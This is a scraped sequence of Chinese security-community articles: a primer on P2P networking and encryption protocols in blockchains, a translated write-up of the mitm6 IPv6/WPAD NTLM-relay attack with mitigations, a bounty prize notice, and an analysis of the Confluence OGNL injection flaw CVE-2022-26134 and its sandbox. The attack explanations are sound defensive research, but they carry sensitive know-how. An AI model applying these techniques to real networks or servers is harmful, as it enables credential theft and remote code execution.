P2P（[peer-to-peer](https://www.baidu.com/s?wd=peer-to-peer&tn=SE_PcZhidaonwhc_ngpagmjz&rsv_dl=gh_pc_zhidao)）网络又称为对等式网络，或者点对点网络。这是一种无中心的服务器、完全由用户群进行交换信息的互联网体系，P2P网络的每一个用户即是一个客户端，同时也具备服务器的功能。在P2P技术之前，我们所有的网络应用都采用C/S或者B/S架构来实现的，然而在之前C/S架构的应用程序中，客户端软件向服务器发出请求，服务器然后对客户端请求做出响应，在这种情况下，如果客户端越多，此时服务器的压力就越大。然而采用P2P技术实现的每台计算机既是客户端，也是服务器，他们的功能都是对等的。对于安装了P2P软件（如迅雷，QQ等）的计算机加入一个共同的P2P网络，网络中的节点之间可以直接进行数据传输和通信。
那么有读者可能会提问：那我传统的P2P架构与C/S或者B/S架构有什么异同点呢？
#### 2 P2P架构和C/S架构的比较
相比于C/S，P2P有其自己独特的优势：所有的客户端都能够提供资源，包括带宽、存储空间已经计算能力。所以其网络容量可以远超其他模式。具体来说：
* 1.对等模式
P2P系统中的客户端能够同时扮演客户端和服务器的角色，使两台计算机之间能够不通过服务器直接进行信息分享。也就是说信息的传输分散在各个节点，无须经过某个中心服务器，用户的隐私信息被窃听和泄露的可能大大减少。
* 2.网络资源的分布式存储
在C/S架构中，所有客户端都直接从服务器下载所有数据资源，这样势必会加重服务器的负担，而P2P则改变了以服务器为中心的状态，使每个节点可以先从服务器上个下载一部分，然后再相互从对方或者其他节点下载其余部分。采用这种方式，当大量客户端同时下载时，就不会形成网络堵塞现象了。
而C/S架构有下面的缺点：
* 1.服务器负担过重。当大量用户访问C/S系统的服务器时，服务器常常会出现网络堵塞等现象。
* 2.系统稳健性和服务器关联密切。指的是——如果服务器出现了问题时，整个系统的运行将会瘫痪。
#### 3 区块链中的P2P
解释了这么多内容，那么我们现在就将区块链中的P2P技术单独拿出来，具体的分析下其中蕴含的道理。
从技术方面来分析，区块链技术就是——P2P+共识机制+密码学。具体来说，区块链就是P2P的网络架构，通过密码学来保证数据的安全，通过共识算法来保证数据的一致性。对于其他架构来说，故障是不可避免的。但是对于区块链的分布式P2P网络来说，其基本不存在单点故障。就算节点频繁的进退也不会对整个系统产生影响。
而我们知道区块链的落地项目有许多，但是我们可以将这些内容大致的分为三类——公链、私有链、联盟链。而公链是具有完全开放的特性的，所以其决定了它不回在网络中采用P2P加密。而对于其余的两者来说（尤其是联盟链），其节点间互相合作却又不完全信任的情况使P2P网络显的尤为重要。
### 二、P2P的分类
P2P 网络自身有多方面优点，在区块链的应用如下:
* 1 去中心化
区块链的资源和服务分布在所有参与节点上，通过共识机制维护区块链网络一致性，无须中心系统的存在。
* 2 可扩展性。
区块链节点可以自由加入、退出，网络系统根据节点自由扩展。
* 3 健壮性。
区块链网络没有中心节点，也就没有了攻击对象。参与节点分布在网络中，部分节点遭到破坏对区块链系统无影响。（我们知道许多协议均是依靠CA来进行处理的，这也就成为了许多黑客攻击的对象。然后区块链并没有CA这种机制，所以也就规避了风险）。
* 4 隐私保护。
区块信息采用广播机制，无法定位广播初始 节点，防止用户通信被监听，保护用户隐私。
* 5 负载均衡。
区块链通过限制节点连接数等配置，避免资源负载、网络阻塞。
针对区块链应用特点，按照 P2P 网络是否去中心化、节点地址是否结构化两个方面，将 P2P 网络分为如下四类。
#### 1 中心化 P2P 网络
在中心化网络中存在“ **中心服务器**
”，而其作用为保存接入节点的地址信息。倘若两个peer之间想要进行通信，那么它们可以通过中心服务器进行对方地址的索要。例如：
将音乐文件与 保存文件的节点相互关联，用户查找某个音乐时，中心服务器告知储存节点地址，用户点对点连接以获得音乐。
由此可知，中心服务器是用来提供地址索引的（其他架构的中心服务器是提供所有的服务）。倘若其出现故障，那么整个系统就出现瘫痪了。
对小型网络而言，中心化拓扑模型在管理和控制方面占一定优势。但鉴于其存在的上述缺陷，该模型并不适合大型网络应用。
#### 2 全分布式非结构化 P2P 网络
因为它没有中央索引服务器，每台机器在网络中是真正的对等关系，既是客户机同时又是服务器。
全分布 P2P 节点可以自由加入退出，并且没有中心节点， 节点地址没有结构化统一标准，整个网络结构呈随机图的结构，
无固定网络结构图。然而完全的自由意味着新节点无法得知 P2P 网络节点信息，从而无法加入网 络。全分布式 P2P
网络更加自由化的同时也带来节点管理的问题，节点频繁加入、退出使得整个网络结构无法稳定， 大量的广播消息不仅造成资源浪费，甚至会阻塞网络。
而比特币采用的就是这种 P2P 网络结构，全分布式使得任 何人任何节点都可以参与，非结构化使得节点间既可以通过区 块链 P2P
协议同步区块数据，又保持匿名隐私保护。
举例如下：
当一台计算机要下载一个文件，它首先以文件名或者关键字生成一个查询，并把这个查询发送给与它相连的所有计算机，这些计算机如果存在这个文件，则与查询的机器建立连接，如果不存在这个文件，则继续在自己相邻的计算机之间转发这个查询，直到找到文件为止。为了控制搜索消息不至于永远这样传递下去，一般通过TTL (Time To Live)的减值来控制查询的深度。
#### 3 全分布式结构化 P2P 网络
全分布式最大的问题在于节点地址管理，节点间没有固定规则约束，无法精确定位节点信息，只能通过洪泛查询方式进行查找，对网络的消耗很大。而结构化网络采用分布式哈希表
(distributed Hash table, DHT)，通过如 Hash 函数一类的加密散列函数，将不同节点地址规范为标准长度数据。
结构化模型与非结构化模型相思，但结构化模型的节点管理有固定结构图。例如：
以太坊将节点椭圆加密算法的公钥转换为 64 Byte 长度的 NodeID 作为唯一标志符来区分节点，使得以太坊可以在没有中心服务器的情况下实现节点地址精确查找。
#### 4 半分布式 P2P 网络
结合中心化和分布式模型各有的优点，`半分布式 P2P 网络`将节点分类成普通 节点和超级节点，从而构成了半分布式网络结构。
超级节点维护部分网络节点地址、文件索引等工作，超级节点共同实 现中心服务器功能。超级节点本身却是分布式，可以自由扩展退出，具备分布式网络优点。
超级账本 hyperledger fabric 采用的 P2P
网络结构就如此。其将节点分为普通用户节点和超级节点(排序、背书节点等)。超级节点可以由普通节点选举，也可以自行配置，单独一个超级节点停机不影响系统运行。
### 三、密码协议解决方案分析
我们在上面的内容中介绍了P2P网络中的几种类型。下面我们详细介绍下关于区块链中的具体 **安全加密算法** 。
在描述协议前，我们先讨论下我们为啥们要使用P2P加密？
我们在区块链的节点之间、客户端之间需要建立安全的加密隧道，并防止在信息传输的过程中将敏感信息暴露给外人。除此之外，其也可以减少网络安全监管工作，提高安全性。
#### 1 传统通用SSL服务
简单来说，在比特币“钱包”的应用中，早起其应用使用了SSL进行客户端之间数据的加密。而SSL/TLS可以结合HTTP协议组合成HTTPS来加密web的内容，也可以与一些常用的FTP等协议进行组合来保证P2P网络中应用数据层的安全。
具体来说如下：
1. 客户端发出一个 client hello 消息，携带的信息包括：
所支持的SSL/TLS 版本列表；支持的与加密算法；所支持的数据压缩方法；随机数A;
2. 服务端响应一个 server hello 消息，携带的信息包括：
协商采用的SSL/TLS 版本号；会话ID；随机数B；服务端数字证书 serverCA；
由于双向认证需求，服务端需要对客户端进行认证，会同时发送一个 client certificate request，表示请求客户端的证书；
3. 客户端校验服务端的数字证书；校验通过之后发送随机数C，该随机数称为pre-master-key，使用数字证书中的公钥加密后发出；
由于服务端发起了 client certificate request，客户端使用私钥加密一个随机数 clientRandom随客户端的证书 clientCA一并发出；
4. 服务端校验客户端的证书，并成功将客户端加密的随机数clientRandom 解密；
根据 随机数A/随机数B/随机数C(pre-master-key) 产生动态密钥 master-key，加密一个finish 消息发至客户端；
5. 客户端根据 同样的随机数和算法 生成master-key，加密一个finish 消息发送至服务端；
6. 服务端和客户端分别解密成功，至此握手完成，之后的数据包均采用master-key进行加密传输。
详细内容参考 [SSL/TLS算法流程解析](https://www.cnblogs.com/littleatp/p/6219630.html)
然而，由于比特币官方的理念为“钱包”用户的身份应该是严格限定的，所以其在设计之初就保证了用户的身份是合法的，所以其SSL在后续的版本中并没有进行维护。
#### 2 站间协议（station to station）
由于P2P之间的信息传递不可避免的要进行TCP连接，所以保证其连接的安全性是尤为重要的。然而我们如何保证会话的前向安全性呢？具体的算法流程是如何实现的呢？
站间协议（station to station）是秘钥协商方案，其基于经典的DH秘钥交换算法，提供了秘钥与实体的认证。
也保证了秘钥的前向安全性。
对于前向安全性，我们简单总结为：A与B之间的所有会话均有一个公共秘钥。但是假如我的这个公共秘钥丢失了那么我之前的所有会话均会被泄密。所以我们在每次会话过程中需要根据公共秘钥来生成一个“会话秘钥”，而需要根据这个会话秘钥来进行当前会话。
* 1 建立连接之前，A与B双方需要设置好共享的数据（Diffie-Hellman算法），包括`双方的公钥、大素数n、发生器g`。
* 2 节点A生成随机数x，计算并将指数g^x发送给节点B。
* 3 节点B生成随机数y，计算指数g^y。
* 4 节点B计算共享秘钥 `K = (g^x)^y。
* 5 B计算(g^y , g^x)，并用B的私钥签名，然后用共享秘钥K加密（这里是两层）。然后将`密文、g^y`发送给A。
* 6 节点A使用B的公钥验证B的签名。
* 7 A将(g^x , g^y)使用A的私钥签名，然后用K加密，传送给B（跟步骤5相似）。
* 8 B用A的公钥验证信息的来源是否是A。
* 9 至此，A与B互相认证过，并且有共同的秘钥。之后就可以使用K进行会话加密。
由于传统的DH秘钥交换协议没有设计验证部分，所以很大可能会存在中间人攻击的情况。但是STS就很好的经过协商设计添加了对对方身份验证的过程，来避免了中间人攻击的可能。
而协议中使用密码学“离散对数问题”来保证其安全性。即正向计算`C = F(M)`容易，但是在不知道秘钥K的情况下计算`M = F^-1(C)`是困难的。
例如上述图中，a，b不泄露只是传递x与y的话，任何人是没有办法通过结果x，y来推出秘密a，b。
#### 3 Sphinx协议
Sphinx是由学术研究者George Danezis和Ian
Goldberg设计的一种协议，用于在一种点对点网络上转播匿名信息。这种解决方案于2009年5月首次被提出，最初与闪电网络甚至比特币没有任何关系。闪电实验室的Olaoluwa
Osuntokun意识到Sphinx可以被利用，他与Blockstream的Christian Decker合作对这种协议进行了修改从而更好地适配闪电网络。
Sphinx与著名的匿名化通信工具Tor（洋葱路由）具有很多相似之处。与Tor一样，使用Sphinx发送的所有数据包都可以进行加密——包括接收的IP地址。然后这种加密要进行好几次，直到产生多个‘加密层’（所以用‘洋葱’来比喻Tor）。
通过使用聪明的加密技巧，所有的加密层都被应用，从而每个沿着路由朝向最终加密包目的地的中介都只能打开一个‘加密层’。这一层会向中介展示要将这个加密包转向何处。（与Tor相比，Sphinx使用经过改进的加密算法，并创建了一种大小固定的数据包来更好地模糊路由中节点的位置。）
简单来说，Sphinx协议是中间传话的人并不知道起点和终点，它们只知道上一个人已经下一个人。
例如我们儿时在教室向其他人传纸条。假设两个人隔的很远，那么我传递纸条的时候要在中间经过许多人的手。但是我纸条的内容又不能让其他人看到，所以此时我就要想办法既能传出去，又不会泄露。
下面请看我分析。
`假设A要给D传纸条，那么中间有 A B C D E。`
这里要用到公钥的思想，假如我的ABCDE均会配合我传递信息。那么我A首先要计算路径，嗯，，A说：“我发现最近的传递方法是经过 B C D到E”。于是他就要开始处理自己的消息了。
假设消息为M。公钥分别为Pa Pb Pc Pd Pe。地址分别为Addr_a，Addr_b，Addr_c，Addr_d，Addr_e。
之后A进行倒序操作，先使用E进行处理。Pe(M)---对M用e的私钥加密。之后用D的消息处理。 Pd(Addr_e , Pe(M))........直到最后用B的私钥签名Pb(xxxxxxx)。
至此，A就可以将处理过的消息以此传递，首先给B，B解密后发现地址是C，所以B传递给C。C解密后给D.........直到到了E处，E解密得到消息。每个参与者只知道各自这一跳的前一个和下一个节点。
### 四、区块链中P2P的应用
根据我们上述的内容可以知道，像比特币、以太坊这样的公链是需要节点自由进出的，所以其不存在使用P2P加密的可能。
但是比特币其匿名性不足的缺点[区块链安全—匿名性以及隐私性](https://xz.aliyun.com/t/2874)
对于处理区块链隐私性的问题，现在比较有前景的解决方案是闪电网络 + Sphinx协议。
闪电网络的本质是在比特币主链外建立可以双向流动的微支付通道，币可以跨节点传递。将大量小额放到闪电网络上，减少主链的负荷并提高小额交易的速度。
闪电网络实现了一种基于称为Sphinx的方案的洋葱路由协议。该路由协议确保支付发送者可以通过闪电网络构建和通信路径，使得：
* 中间节点可以验证和解密其部分路由信息，并找到下一跳。
* 除了上一跳和下一跳，他们不能了解作为路径一部分的任何其他节点。
* 他们无法识别支付路径的长度，或者他们自己在该路径中的位置。
* 路径的每个部分被加密，使得网络级攻击者不能将来自路径的不同部分的数据包彼此关联。
* 不同于Tor（互联网上的洋葱路由匿名协议），没有可以被监视的“退出节点”。付款不需要传输到比特币区块链，节点只是更新通道余额。
而将Sphinx与闪电网络结合后，将网络中的数据包进行多次加密，闪电网络中间层只能打开相应的加密层，这一层主要是展示这个包的路由信息。这样就实现了在网络上隐藏详细的交易细节。
### 五、参考链接
* 1 <https://www.cnblogs.com/bingguang/p/4552764.html>
* 2 <http://www.intsci.ac.cn/users/luojw/P2P/ch02.html>
* 3 <https://www.cnblogs.com/littleatp/p/6219630.html>
* 4 <http://www.mamicode.com/info-detail-1846390.html>
* 5 <https://www.8btc.com/article/113116>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# mitm6：通过IPv6攻破IPv4网络
##### 译文声明
本文是翻译文章，文章原作者 dirkjanm，文章来源：fox-it.com
原文地址：<https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
虽然IPv6正在互联网上逐步推广，但在内部网络环境中使用IPv6的公司依然非常稀少。然而，大多数公司并不知道，即使他们没有主动去使用IPv6，但从Windows
Vista以来，所有的Windows系统（包括服务器版系统）都会启用IPv6网络，并且其优先级要高于IPv4网络。在本文中，我们介绍了一种攻击方法，这种攻击可以滥用Windows网络中默认的IPv6配置，充当恶意DNS服务器来伪造DNS应答报文，将网络流量重定向至攻击者指定的端点。在攻击的第二阶段，攻击者会利用（恶名远扬的）WPAD（Windows
Proxy Auto Discovery，Windows代理自动发现）功能，将凭证及身份认证信息传递给网内的各种服务。Fox-IT公布了名为mitm6的一个工具，可以实施这种攻击，具体代码可以从Fox-IT的[GitHub页面](https://github.com/fox-it/mitm6/)上下载。
## 二、IPv6攻击
IPv6的推广速度并不快，与此同时，关于如何滥用IPv6的技术资源远比IPv4渗透技术资源要少得多。虽然每本书或者每个课程中都会提到类似ARP欺骗之类的技术，但这些参考资料很少会提及IPv6，并且能够用来测试或者滥用IPv6配置的工具也不多。[THC
IPv6攻击套装](https://github.com/vanhauser-thc/thc-ipv6/)是为数不多的几款可用工具之一，这套工具也是mitm6的灵感来源。本文中介绍的攻击方法是SLAAC攻击思路的子集，SLAAC是Alex
Waters于2011年在[Infosec网站](http://resources.infosecinstitute.com/slaac-attack/)上提出的一种攻击思路。SLAAC的主要思想是创建一个恶意IPv6路由器，通过各种服务实现对目标网络内所有流量的中间人（man-in-the-middle）攻击。随后不久，Neohapsis公布了名为[suddensix](https://labs.neohapsis.com/2013/07/30/picking-up-the-slaac-with-sudden-six/)的一款工具，可以自动实施这种攻击。
SLAAC攻击方法存在不足之处，这种攻击需要在已有的IPv4网络的基础上，为当前的所有设备创建一个IPv6覆盖（overlay）网络。对渗透测试而言这显然不是理想的攻击场景，因为这会迅速破坏网络的稳定性。此外，这种攻击需要依赖许多外部软件包及服务才能正常工作。为了解决这种缺点，mitm6应运而生。mitm6安装起来非常方便，可以有选择性地攻击特定主机、伪造DNS响应数据，同时也能最大限度地减少对目标网络正常运行的干扰。你所需要的只是一个python脚本，运行之前基本不需要进行配置，在几秒钟内就能发起攻击。我们在该工具中设置了超时时间，因此当攻击结束时，整个网络会在几分钟内恢复到之前的状态。
## 三、mitm6攻击
### 阶段1：控制主DNS服务器
首先，mitm6会在攻击者主机的主接口上监听，观察通过DHCPv6协议获取IPv6配置的Windows主机。从Windows
Vista开始，默认情况下每台Windows主机都会定期请求这种配置信息。通过Wireshark抓取的相关数据包如下所示：
mitm6会应答这些DHCPv6请求，为这些受害主机分配本地链路范围内的IPv6地址。在实际的IPv6网络中，这些地址由主机自身自动分配，完全不需要通过DHCP服务器来配置。通过这种方法，我们有机会将攻击者的IP设置为默认的IPv6
DNS服务器，为受害主机提供DNS服务。需要注意的是，目前mitm6只能针对基于Windows的操作系统，其他操作系统（如macOS以及Linux）并没有使用DHCPv6协议来配置DNS服务器。
mitm6并不会对外宣称自己为网关节点，因此目标网络内的主机并不会尝试与本地网段或VLAN之外的IPv6主机通信。这样可以限制攻击行为对整体网络的影响，因为mitm6不会尝试以中间人身份攻击网内的所有流量，而是会选择性地欺骗某些主机（攻击者可以在mitm6运行过程中指定需要过滤的域）。
mitm6的攻击过程如下图所示。该工具可以自动探测攻击者主机的IP配置情况，应答本网络内客户端发送的DHCPv6请求报文，应答报文中会指定攻击者的IP为DNS服务器所在地址。此外，mitm6可以周期性地发送RA（Router
Advertisment，路由器宣告）报文，提醒客户端当前环境中存在一个IPv6网络，需要通过DHCPv6协议来获取IPv6地址，这是mitm6的一个可选功能。某些情况下，这么做可以加快攻击速度，但这并不是必选项，如果目标网络中部署了诸如[RA
Guard](https://www.juniper.net/documentation/en_US/junos/topics/concept/port-security-ra-guard.html)之类的防御机制来防护SLAAC攻击，那么可以考虑启用该功能。
### 阶段2：DNS欺骗
在受害主机上，可以看到我们的服务器已经被配置为DNS服务器。由于Windows在处理IP协议时有先后顺序，IPv6的DNS服务器优先级会比IPv4的DNS服务器更高，因此Windows主机会向IPv6
DNS服务器查询A（IPv4）及AAAA（IPv6）记录。
接下来，我们的目标是让客户端连接到攻击者的主机，而不是合法服务器。我们的最终目标是让用户或者浏览器自动向攻击者主机发起身份认证请求，这也是我们在`testsegment.local`这个内部网络中进行URL欺骗的原因所在。在步骤1的截图中，你可以观察到客户端在分配了IPv6地址后，会第一时间请求`wpad.testsegment.local`的相关信息。我们会在本次攻击过程中利用到这一现象。
## 四、利用WPAD
### 在MS16-077之前滥用WPAD
Windows代理自动检测功能一直以来都是充满争议的一个话题，渗透测试人员多年来一直在滥用这个功能。正常情况下，企业网络环境中可以利用这一功能来自动探测网络代理，通过该代理访问互联网。保存相关信息的wpad.dat文件由某个服务器来提供，在早些时候，该服务器的地址需要使用DNS来解析，如果DNS无法解析这一地址，那么系统会通过不安全的广播协议（如链路本地多播名称解析（LLMNR）协议）来解析服务器地址。攻击者可以应答这些广播名称解析协议，对外宣称WPAD文件位于攻击者控制的服务器上，随后要求通过身份认证来访问WPAD文件。默认情况下，Windows会自动进行身份认证，无需用户交互。这样一来，攻击者就能获取到该主机上已登录用户的NTLM凭据，然后通过[NTLM中继攻击](https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/)，利用窃取的凭证通过通过正常服务的身份认证。
然而，微软在2016年发布了[MS16-077](https://support.microsoft.com/en-us/help/3165191/ms16-077-security-update-for-wpad-june-14--2016)安全公告，添加了两个重要的保护措施，以缓解这类攻击行为：
1、系统再也无法通过广播协议来解析WPAD文件的位置，只能通过DNS协议完成该任务。
2、即使服务器主动要求身份认证，系统也不会自动发起认证过程。
虽然我们在目标网络中经常可以找到没有打上全部补丁的主机，这些主机依然会通过LLMNR来请求WPAD，也会自动进行身份认证，但我们发现越来越多的公司更新了网络，此时已经无法通过老办法来利用WPAD漏洞。
### 在MS16-077之后利用WPAD
mitm6可以轻松绕过第一种保护机制（即只能通过DNS来请求WPAD）。一旦受害主机将攻击者的服务器设置为IPv6
DNS服务器，受害主机会立即查询网络中的WPAD配置。由于这些DNS请求会发送到攻击者主机上，因此攻击者可以使用自己的IP地址（IPv4或者IPv6地址，具体取决于受害主机请求的是哪种地址）来回复这类请求。即使该目标已经在使用WPAD文件，mitm6也能攻击成功（但此时会受害主机将无法连接至互联网）。
在第二种保护机制中，默认情况下Windows不会再提供凭证信息，此时我们需要额外做些工作才能攻击成功。当受害主机请求WPAD文件时，我们不会再去请求身份认证信息，而是为受害主机提供一个有效的WPAD文件，其中指定攻击者的主机为代理服务器。此时，如果受害主机上正在运行的应用程序使用了Windows
API来连接互联网，或者受害者开始浏览网页时，自然就会使用攻击者的主机作为代理服务器。这种情况适用于Edge、IE、Firefox以及Chrome浏览器，因为默认情况下这些浏览器都会遵循WPAD系统设置。
此时，当受害主机连接到我们的“代理”服务器时，我们可以通过HTTP CONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程，然后回复HTTP
407错误（需要代理身份验证），这与请求身份认证时常见的HTTP代码不同（HTTP 401）。
IE/Edge以及Chrome浏览器（使用的是IE设置）会自动与代理服务器进行身份认证，即使在最新版本的Windows系统上也是如此。在Firefox中，用户可以配置这个选项，但默认情况下该选项处于启用状态。
现在Windows会乖乖地将NTLM挑战/响应数据发送给攻击者，随后攻击者可以将这些数据转发给各种服务。在这种中继攻击场景中，攻击者可以以受害者的身份访问各种服务、获取网站信息及共享资源，如果受害者有足够高的权限，攻击者甚至可以在其他主机上执行代码或者接管整个Windows域。之前我们在其他[博客](https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/)中介绍了NTLM中继攻击的其他利用思路，大家可以进一步了解相关细节。
## 五、完整攻击过程
前面我们介绍了这种攻击方法的大致原理，攻击过程本身并不复杂。运行mitm6后，该工具会开始回复DHCPv6请求报文，应答内部网络中的DNS请求。在攻击第二阶段中，我们使用[ntlmrelayx](https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py)这个工具来发起中继攻击。该工具是Core
Security推出的[impacket](https://github.com/CoreSecurity/impacket/)库中的一个子工具，是smbrelayx工具的改进版，支持中继多种协议。Core
Security以及Fox-IT最近在合作改进ntlmrelayx，添加了几项新功能，可以通过IPv6进行中继、提供WPAD文件、自动探测代理请求、以合适的方式提示受害主机进行身份认证。如果你想知道添加了哪些新功能，可以看一下GitHub上的[源代码](https://github.com/CoreSecurity/impacket/tree/relay-experimental/examples)。
如果想提供WPAD文件，我们只需要在命令行中输入主机信息、`-wh`参数，指定托管WPAD文件的主机。由于我们可以通过mitm6控制DNS信息，因此我们可以使用受害者网络中不存在的任意主机名。为了让ntlmrelayx在IPv4以及IPv6上同时监听，我们需要使用`-6`参数。在如下两张图中，我们可以看到mitm6正在有选择地伪造DNS应答，而ntlmrelayx正在提供WPAD文件，然后将认证信息转发给网内的其他服务器。
## 六、缓解措施
对于这种攻击，目前唯一能用的缓解措施是禁用IPv6网络（如果内部网络中不需要使用IPv6网络的话）。这样一来就能禁止Windows主机请求DHCPv6服务器，使攻击者无法通过本文介绍的方法来接管DNS服务器。
对于WPAD利用方法，最好的缓解措施是通过组策略禁用代理自动探测功能。如果公司网中需要使用代理配置文件（PAC文件），我们建议公司直接指定PAC的url地址，而不是依赖WPAD功能来自动探测这一地址。
撰写本文时，Google Project
Zero同样发现了WPAD中存在漏洞，根据Google公布的[资料](https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html)，禁用`WinHttpAutoProxySvc`是禁用WPAD的唯一可靠方法。
最后提一下，目前阻止NTLM中继攻击的唯一完整解决方案就是完全禁用相关功能，换成Kerberos认证机制。如果实际情况不允许采用这种方案，大家可以参考我们之前发表的一篇[文章](https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/)，其中介绍了NTLM中继攻击的一些缓解措施，可以尽量减少这种攻击带来的安全风险。
## 七、工具源码
大家可以从Fox-IT的[GitHub](https://github.com/fox-it/mitm6)上下载mitm6，从[impacket](https://github.com/CoreSecurity/impacket/)代码仓库中下载最新版的ntlmrelayx。 | 社区文章 |
亲爱的白帽子们，2017年1月份先知众测月度奖励获奖公告如下，恭喜以下得奖的白帽子。
先知昵称积分奖励金额Gr36_109010000苏黎世6708000zxc6607000applychen6206000YYY6105000菜鸟菜鸟4704000M4103000安识科技_4爷3952000X2201000Jones200500
*积分相同按照先达到积分的时间排名。
恭喜以上大牛们！！！ | 社区文章 |
**作者：且听安全
原文链接：<https://mp.weixin.qq.com/s/nCMtSD7QH8ai6fpurJBXTg>**
## 漏洞信息
最近 Confluence 官方通报了一个严重漏洞 CVE-2022-26134 ：
从漏洞描述来看，这仍然是一个 OGNL 表达式注入漏洞。影响版本如下：
* from 1.3.0 before 7.4.17
* from 7.13.0 before 7.13.7
* from 7.14.0 before 7.14.3
* from 7.15.0 before 7.15.2
* from 7.16.0 before 7.16.4
* from 7.17.0 before 7.17.4,
* from 7.18.0 before 7.18.1
补丁描述：
主要是修改了 `xwork-1.0.3-atlassian-10.jar` 。下面将深入分析漏洞原理，并尝试绕过沙箱构造命令执行结果回显。
## 漏洞分析
新版本主要是修改了 `xwork-1.0.3-atlassian-10.jar` 。首先简单进行一下补丁对比：
改动的地方很多，但是最关键的地方位于 `ActionChainResult#execute` 函数，对提取 `finalNamespace` 和
`finalActionName` 的过程进行了更新。
Confluence 基于 Struts 架构进行开发。我们首先以登录请求为例，对 Confluence 请求处理的流程进行动态调试。访问
`/login.action` ，经过一系列 `Filter` 处理后，将进入Servlet 的分发器 `ServletDispatcher`
（本质上是其子类 `ConfluenceServletDispatcher` 对象）：
分别通过函数 `getNameSpace` 、 `getActionName` 、 `getRequestMap` 、 `getSessionMap` 、
`getApplicationMap` 提取相应参数，对应关系如下：
* `getNameSpace(request)` -> `namespace`
* `getActionName(request)` -> `actionName`
* `getRequestMap(request)` -> `requestMap`
* `getParameterMap(request)` -> `parameterMap`
* `getSessionMap(request)` -> `sessionMap`
* `getApplicationMap()` -> `applicationMap`
然后调用 `serviceAction` 函数，进入子类 `ConfluenceServletDispatcher` 的 `serviceAction`
函数：
实例化 `DefaultActionProxy` 对象，调用其 `execute` 函数：
进入 `DefaultActionInvocation#invoke` ：
这里开始调用 Struts Interceptor 拦截器对象对请求进行处理， `DefaultActionInvocation` 对象拦截器集合
`interceptors` 一共有 32 个：
函数 `invoke` 尝试通过 `next` 获取下一个拦截器对象，然后调用其 `intercept` 方法，大部分 `Interceptor` 对象的
`intercept` 函数格式如下所示：
继续调用 `DefaultActionInvocation#invoke` ，从而形成迭代循环。但是在调试中我们发现也有特殊的一些
`Interceptor` ，比如 `ConfluenceAccessInterceptor` ：
当满足一定条件时并不会继续调用 `DefaultActionInvocation#invoke` ，而是返回字符串 `notpermitted`
，我们分析一下 `isAccessPermitted` 函数：
主要是通过请求的 `*.action` 和 `methdName` ，来判断当前用户 `currentUser`
是否有访问权限。也就是说，当访问一个无权访问的 `*.action` 时，`DefaultActionInvocation#invoke` 在迭代调用到
`ConfluenceAccessInterceptor#intercept` 后，将返回 `notpermitted` 并赋值给
`resultCode`，从而跳出迭代。我们替换测试请求为 `/index.action`：
当处理到 `ConfluenceAccessInterceptor` 拦截器时，将不会继续迭代调用下一个拦截器，而是继续往下走，进入
`executeResult` 函数：
进入 `ActionChainResult#execute` ：
提取 `namespace` 参数，并调用 `translateVariables` 函数，进入：
典型的 OGNL 表达式解析过程，前面分析中可知， `namespace` 参数通过 `ServletDispatcher#getNameSpace`
函数获取，查看定义：
可见 `namespace` 取值为请求 `servletPath` 最后一个 `/` 之前的部分。
根据上面正则表达式规则，要想触发 OGNL 解析，我们很容易构造出相应的 URL ：
成功触发 OGNL 表达式注入。
## 沙箱绕过与命令执行
网上现在已经公开的一些利用方式简单粗暴，只能针对 v7.14 及以下系列有效，因为从 v7.15 系列开始，Confluence 在 OGNL
表达式解析时加入了沙箱设置：
进入 `isSafeExpression` 函数：
主要的黑名单如下： （1） `unsafePropertyNames`
（2） `unsafePackageNames`
（3） `unsafeMethodNames`
0 = "getClass"
1 = "getClassLoader"
白名单 `allowedClassNames` 如下：
此外，对成员函数等也进行了检查（ `containsUnsafeExpression` 函数 ）：
小伙伴看到这里，应该很容易想到多种绕过的方法，感兴趣的小伙伴可以进入漏洞空间站进行交流。其中一种实现命令执行结果回显的方式如下（适用全部受影响的版本）：
* * * | 社区文章 |
Subsets and Splits